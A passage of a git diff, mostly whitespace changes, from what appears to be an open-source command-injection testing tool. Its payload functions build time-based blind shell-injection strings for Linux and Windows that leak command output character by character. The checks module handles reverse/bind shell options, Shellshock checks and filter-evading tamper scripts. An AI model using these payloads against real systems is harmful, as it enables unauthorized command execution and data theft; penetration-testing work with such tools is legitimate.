"))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + payload = (ampersand + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: @@ -406,10 +406,10 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - + else: pass @@ -431,52 +431,52 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: if separator == ";" or separator == "%0a": - payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + payload = (separator + + "str=\"$(" + cmd + ")\"" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + + "then sleep 0" + separator + + "else sleep " + str(timesec) + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - "str=\"$(" + cmd + ")\" " + separator + - "[ " + str(ascii_char) + " -eq $str ] " + separator + + payload = (ampersand + + "sleep 0 " + separator + + "str=\"$(" + cmd + ")\" " + separator + + "[ " + str(ascii_char) + " -eq $str ] " + separator + "sleep " + str(timesec) ) - + #if menu.options.data: separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + + "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -489,9 +489,9 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) @@ -499,29 +499,29 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a": - payload = (separator + + payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + payload = (ampersand + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: @@ -530,10 +530,10 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - + else: pass diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f8ca732462..dfc82f995e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -85,7 +85,7 @@ def check_custom_injection_marker(url): # Ignore the Accept HTTP Header if not data.startswith(settings.ACCEPT): _ = False - if _: + if _: settings.WILDCARD_CHAR_APPLIED = True menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL @@ -95,7 +95,7 @@ def check_custom_injection_marker(url): err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " err_msg += "cannot be used simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit while True: message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " @@ -109,12 +109,12 @@ def check_custom_injection_marker(url): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass def skipping_technique(technique, injection_type, state): - if settings.VERBOSITY_LEVEL != 0 and state != True: + if settings.VERBOSITY_LEVEL != 0 and state != True: debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) @@ -134,7 +134,7 @@ def skip_code_injection_tests(): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass """ @@ -159,7 +159,7 @@ def skip_command_injection_tests(): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass """ @@ -176,11 +176,11 @@ def mobile_user_agents(): elif mobile_user_agent.lower() == "q": raise SystemExit() else: - common.invalid_option(mobile_user_agent) + common.invalid_option(mobile_user_agent) pass except ValueError: - common.invalid_option(mobile_user_agent) - pass + common.invalid_option(mobile_user_agent) + pass """ Run host OS command(s) when injection point is found. @@ -210,14 +210,14 @@ def check_http_method(url): http_request_method = settings.HTTPMETHOD.GET else: http_request_method = settings.HTTPMETHOD.POST - return http_request_method + return http_request_method """ User aborted procedure """ def user_aborted(filename, url): abort_msg = "User aborted procedure " - abort_msg += "during the " + assessment_phase() + abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." print(settings.print_abort_msg(abort_msg)) logs.print_logs_notification(filename, url) @@ -260,7 +260,7 @@ def not_declared_cookies(response): print(settings.SINGLE_WHITESPACE) while True: message = "You have not declared cookie(s), while " - message += "server wants to set its own ('" + message += "server wants to set its own ('" message += str(re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)) message += "'). Do you want to use those [Y/n] > " set_cookies = common.read_input(message, default="Y", check_batch=True) @@ -268,12 +268,12 @@ def not_declared_cookies(response): menu.options.cookie = candidate break elif set_cookies in settings.CHOICE_NO: - settings.DECLARED_COOKIES = False + settings.DECLARED_COOKIES = False break elif set_cookies in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(set_cookies) + common.invalid_option(set_cookies) pass except (KeyError, TypeError): pass @@ -318,7 +318,7 @@ def load_cmd_history(): warn_msg = "There was a problem loading the history file '" + cli_history + "'." if settings.IS_WINDOWS: warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) """ Get value inside boundaries. @@ -356,7 +356,7 @@ def check_boundaries_value(parameter, value, http_request_method): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass if menu.options.skip_parameter != None: @@ -385,7 +385,7 @@ def PCRE_e_modifier(parameter, http_request_method): if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: while True: message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " modifier_check = common.read_input(message, default="Y", check_batch=True) if modifier_check in settings.CHOICE_YES: @@ -395,8 +395,8 @@ def PCRE_e_modifier(parameter, http_request_method): elif modifier_check in settings.CHOICE_QUIT: print(settings.SINGLE_WHITESPACE) os._exit(0) - else: - common.invalid_option(modifier_check) + else: + common.invalid_option(modifier_check) pass except Exception as ex: pass @@ -409,7 +409,7 @@ def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): if (len(parameter.split("="))) == 2: info_msg = "Ignoring the parameter '" + parameter.split("=")[0] - info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." + info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." print(settings.print_info_msg(info_msg)) return True @@ -434,7 +434,7 @@ def newline_fixation(payload): payload = payload.replace("\n","%0a") if "\r" in payload: #_ = payload.find("\r\n") + 1 - #payload = _urllib.parse.quote(payload[:_]) + payload[_:] + #payload = _urllib.parse.quote(payload[:_]) + payload[_:] payload = payload.replace("\r","%0d") return payload @@ -537,7 +537,7 @@ def check_for_false_positive_result(false_positive_warning): if settings.VERBOSITY_LEVEL != 0: warn_msg = warn_msg + ".\n" else: - warn_msg = warn_msg +", please wait..." + warn_msg = warn_msg +", please wait..." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) """ @@ -562,7 +562,7 @@ def total_of_requests(): """ def url_decode(payload): rep = { - "%20": " ", + "%20": " ", "%2B": "+", "\n": "\\n" } @@ -624,8 +624,8 @@ def check_injection_level(): menu.options.level = settings.COOKIE_INJECTION_LEVEL elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: menu.options.level = settings.COOKIE_INJECTION_LEVEL - - # Checking testable HTTP headers for user-agent / referer / host + + # Checking testable HTTP headers for user-agent / referer / host if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS): menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL @@ -649,7 +649,7 @@ def next_attack_vector(technique, go_back): elif next_attack_vector in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(next_attack_vector) + common.invalid_option(next_attack_vector) pass """ @@ -669,18 +669,18 @@ def escaped_cmd(cmd): """ def remove_empty_lines(content): try: - if content[0] == "\n": + if content[0] == "\n": content = content[1:content.rfind("\n")] if content[-1] == "\n": content = content[:content.rfind("\n")] except IndexError: - pass + pass return content """ Check 'os_shell' options """ -def check_os_shell_options(cmd, technique, go_back, no_result): +def check_os_shell_options(cmd, technique, go_back, no_result): if cmd in settings.SHELL_OPTIONS: if cmd == "?": menu.os_shell_options() @@ -696,7 +696,7 @@ def check_os_shell_options(cmd, technique, go_back, no_result): Procced with file-based semiblind command injection technique, once the user provides the path of web server's root directory. """ -def procced_with_file_based_technique(): +def procced_with_file_based_technique(): while True: message = "Due to the provided '--web-root' option," message += " do you want to procced with the (semi-blind) " @@ -709,7 +709,7 @@ def procced_with_file_based_technique(): elif enable_fb in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enable_fb) + common.invalid_option(enable_fb) pass """ @@ -720,9 +720,9 @@ def check_reverse_tcp_options(reverse_tcp_option): return 0 elif reverse_tcp_option == "back": return 1 - elif reverse_tcp_option == "os_shell": + elif reverse_tcp_option == "os_shell": return 2 - elif reverse_tcp_option == "bind_tcp": + elif reverse_tcp_option == "bind_tcp": return 3 """ @@ -733,9 +733,9 @@ def check_bind_tcp_options(bind_tcp_option): return 0 elif bind_tcp_option == "back": return 1 - elif bind_tcp_option == "os_shell": + elif bind_tcp_option == "os_shell": return 2 - elif bind_tcp_option == "reverse_tcp": + elif bind_tcp_option == "reverse_tcp": return 3 """ @@ -761,7 +761,7 @@ def continue_tests(err): print(settings.print_warning_msg(warn_msg)) while True: - message = "Do you want to ignore the response HTTP error code '" + str(err.code) + message = "Do you want to ignore the response HTTP error code '" + str(err.code) message += "' and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: @@ -771,7 +771,7 @@ def continue_tests(err): elif continue_tests in settings.CHOICE_QUIT: return False else: - common.invalid_option(continue_tests) + common.invalid_option(continue_tests) pass except AttributeError: pass @@ -784,7 +784,7 @@ def continue_tests(err): def unavailable_option(check_option): warn_msg = "The option '" + check_option + "' " warn_msg += "is not yet supported Windows targets." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) """ Transformation of separators if time-based injection @@ -797,7 +797,7 @@ def time_based_separators(separator, http_request_method): return separator """ -Information message if platform does not have +Information message if platform does not have GNU 'readline' module installed. """ def no_readline_module(): @@ -806,9 +806,9 @@ def no_readline_module(): err_msg += " Download the" if settings.IS_WINDOWS: err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." - elif settings.PLATFORM == "mac": - err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." - print(settings.print_critical_msg(err_msg)) + elif settings.PLATFORM == "mac": + err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." + print(settings.print_critical_msg(err_msg)) """ Check for incompatible OS (i.e Unix). @@ -840,8 +840,8 @@ def ps_check(): elif ps_check in settings.CHOICE_QUIT: print(settings.SINGLE_WHITESPACE) os._exit(0) - else: - common.invalid_option(ps_check) + else: + common.invalid_option(ps_check) pass """ @@ -857,7 +857,7 @@ def ps_check_failed(): elif ps_check in settings.CHOICE_NO: print(settings.SINGLE_WHITESPACE) os._exit(0) - else: + else: common.invalid_option(ps_check) pass @@ -870,16 +870,16 @@ def check_CGI_scripts(url): if not os.path.isfile(settings.CGI_SCRIPTS ): err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found" print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() if len(settings.CGI_SCRIPTS ) == 0: err_msg = "The " + settings.CGI_SCRIPTS + " list is empty." print(settings.print_critical_msg(err_msg)) raise SystemExit() - with open(settings.CGI_SCRIPTS , "r") as f: + with open(settings.CGI_SCRIPTS , "r") as f: for line in f: line = line.strip() CGI_SCRIPTS.append(line) - except IOError: + except IOError: err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -903,10 +903,10 @@ def check_CGI_scripts(url): elif shellshock_check in settings.CHOICE_QUIT: print(settings.SINGLE_WHITESPACE) os._exit(0) - else: - common.invalid_option(shellshock_check) + else: + common.invalid_option(shellshock_check) pass - + if not _: menu.options.shellshock = False @@ -915,8 +915,8 @@ def check_CGI_scripts(url): """ def check_http_s(url): if settings.SINGLE_WHITESPACE in url: - url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) - + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: @@ -929,11 +929,11 @@ def check_http_s(url): url = "http://" + url settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" else: - err_msg = "Invalid target URL has been given." + err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) raise SystemExit() except ValueError as err: - err_msg = "Problem occurred while parsing target URL." + err_msg = "Problem occurred while parsing target URL." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -944,7 +944,7 @@ def check_http_s(url): url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME) return url - + """ Force the user-defined operating system name. """ @@ -962,12 +962,12 @@ def user_defined_os(): raise SystemExit() """ -Decision if the user-defined operating system name, +Decision if the user-defined operating system name, is different than the one identified by heuristics. """ def identified_os(): - warn_msg = "Heuristics have identified different operating system (" - warn_msg += settings.TARGET_OS + ") than that you have provided." + warn_msg = "Heuristics have identified different operating system (" + warn_msg += settings.TARGET_OS + ") than that you have provided." print(settings.print_warning_msg(warn_msg)) message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) @@ -979,7 +979,7 @@ def identified_os(): elif proceed_option.lower() == "q": raise SystemExit() else: - common.invalid_option(proceed_option) + common.invalid_option(proceed_option) pass """ @@ -989,7 +989,7 @@ def third_party_dependencies(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking all required third-party library dependencies." print(settings.print_debug_msg(debug_msg)) - + try: import sqlite3 except ImportError: @@ -1008,7 +1008,7 @@ def third_party_dependencies(): err_msg = "The 'pyreadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features." - print(settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) elif settings.PLATFORM == "posix": try: import gnureadline @@ -1023,21 +1023,21 @@ def third_party_dependencies(): Print the authentiation error message. """ def http_auth_err_msg(): - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" - err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" + err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" err_msg += " and continue tests without providing valid credentials." - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() """ -Decision if the user-defined HTTP authenticatiob type, +Decision if the user-defined HTTP authenticatiob type, is different than the one identified by heuristics. """ def identified_http_auth_type(auth_type): - warn_msg = "Heuristics have identified different HTTP authentication type (" + warn_msg = "Heuristics have identified different HTTP authentication type (" warn_msg += auth_type.lower() + ") than that you have provided (" - warn_msg += menu.options.auth_type + ")." + warn_msg += menu.options.auth_type + ")." print(settings.print_warning_msg(warn_msg)) message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) @@ -1049,7 +1049,7 @@ def identified_http_auth_type(auth_type): elif proceed_option.lower() == "q": raise SystemExit() else: - common.invalid_option(proceed_option) + common.invalid_option(proceed_option) pass """ @@ -1078,7 +1078,7 @@ def enable_all_enumeration_options(): menu.options.passwords = True """ -Do replacement with the 'INJECT_HERE' tag, +Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. """ def wildcard_character(data): @@ -1092,22 +1092,22 @@ def wildcard_character(data): _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: - err_msg = "You specified more than one injecton markers. " + err_msg = "You specified more than one injecton markers. " err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() return data """ Check provided parameters for tests """ -def check_provided_parameters(): - if menu.options.test_parameter or menu.options.skip_parameter: +def check_provided_parameters(): + if menu.options.test_parameter or menu.options.skip_parameter: if menu.options.test_parameter != None : if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - + settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + elif menu.options.skip_parameter != None : if menu.options.skip_parameter.startswith("="): menu.options.skip_parameter = menu.options.skip_parameter[1:] @@ -1143,7 +1143,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): non_exist_param = non_exist_param.split(",") if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: - if menu.options.cookie != None: + if menu.options.cookie != None: if settings.COOKIE_DELIMITER in menu.options.cookie: cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) for cookie in cookies: @@ -1151,22 +1151,22 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): try: non_exist_param.remove(cookie.split("=")[0].strip()) except ValueError: - pass + pass elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: try: non_exist_param.remove(menu.options.cookie.split("=")[0]) except ValueError: pass - - # Remove the defined HTTP headers + + # Remove the defined HTTP headers for http_header in settings.HTTP_HEADERS: - if http_header in non_exist_param: + if http_header in non_exist_param: non_exist_param.remove(http_header) if non_exist_param: non_exist_param_items = ",".join(non_exist_param) warn_msg = "Skipping tests for " - warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" + warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1] if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": warn_msg += " not part of the " @@ -1174,8 +1174,8 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): else: warn_msg += " not part of the " warn_msg += http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += (' data', ' request')[http_request_method == settings.HTTPMETHOD.GET] + warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += (' data', ' request')[http_request_method == settings.HTTPMETHOD.GET] warn_msg += "." print(settings.print_warning_msg(warn_msg)) @@ -1224,7 +1224,7 @@ def tamper_scripts(stored_tamper_scripts): err_msg += "Use the '--list-tampers' option for listing available tamper scripts." print(settings.print_critical_msg(err_msg)) raise SystemExit() - if not stored_tamper_scripts: + if not stored_tamper_scripts: info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " print(settings.print_info_msg(info_msg)) for script in provided_scripts: @@ -1305,8 +1305,8 @@ def whitespace_check(payload): menu.options.tamper = menu.options.tamper + ",space2ifs" else: menu.options.tamper = "space2ifs" - settings.WHITESPACES[0] = "${IFS}" - + settings.WHITESPACES[0] = "${IFS}" + # Enable the "space2plus" tamper script. elif "+" in _ and payload.count("+") >= 2: if not settings.TAMPER_SCRIPTS['space2plus']: @@ -1315,7 +1315,7 @@ def whitespace_check(payload): else: menu.options.tamper = "space2plus" settings.WHITESPACES[0] = "+" - + # Enable the "space2htab" tamper script. elif "%09" in _: if not settings.TAMPER_SCRIPTS['space2htab']: @@ -1333,8 +1333,8 @@ def whitespace_check(payload): else: menu.options.tamper = "space2vtab" settings.WHITESPACES[0] = "%0b" - - # Default whitespace + + # Default whitespace else : settings.WHITESPACES[0] = "%20" @@ -1344,9 +1344,9 @@ def whitespace_check(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",multiplespaces" else: - menu.options.tamper = "multiplespaces" + menu.options.tamper = "multiplespaces" settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) - + """ Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. """ @@ -1357,14 +1357,14 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",rev" else: - menu.options.tamper = "rev" + menu.options.tamper = "rev" # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" else: - menu.options.tamper = "backticks" + menu.options.tamper = "backticks" settings.USE_BACKTICKS == True # Check for caret symbol @@ -1373,7 +1373,7 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",caret" else: - menu.options.tamper = "caret" + menu.options.tamper = "caret" # Check for dollar sign followed by an at-sign if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1381,7 +1381,7 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",dollaratsigns" else: - menu.options.tamper = "dollaratsigns" + menu.options.tamper = "dollaratsigns" # Check for uninitialized variable if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1389,7 +1389,7 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" else: - menu.options.tamper = "uninitializedvariable" + menu.options.tamper = "uninitializedvariable" # Check for environment variable value variable if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1397,7 +1397,7 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",slash2env" else: - menu.options.tamper = "slash2env" + menu.options.tamper = "slash2env" """ Check for (multiple) added back slashes between the characters of the generated payloads. @@ -1409,7 +1409,7 @@ def check_backslashes(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backslashes" else: - menu.options.tamper = "backslashes" + menu.options.tamper = "backslashes" """ Check for quotes in the generated payloads. @@ -1421,7 +1421,7 @@ def check_quotes(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",nested" else: - menu.options.tamper = "nested" + menu.options.tamper = "nested" # Check for (multiple) added double-quotes between the characters of the generated payloads. if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1429,7 +1429,7 @@ def check_quotes(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",doublequotes" else: - menu.options.tamper = "doublequotes" + menu.options.tamper = "doublequotes" # Check for (multiple) added single-quotes between the characters of the generated payloads. if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1437,7 +1437,7 @@ def check_quotes(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",singlequotes" else: - menu.options.tamper = "singlequotes" + menu.options.tamper = "singlequotes" """ Recognise the payload. @@ -1448,15 +1448,15 @@ def recognise_payload(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2usleep" else: - menu.options.tamper = "sleep2usleep" - + menu.options.tamper = "sleep2usleep" + elif "timeout" in payload: if not settings.TAMPER_SCRIPTS['sleep2timeout']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2timeout" else: - menu.options.tamper = "sleep2timeout" - + menu.options.tamper = "sleep2timeout" + 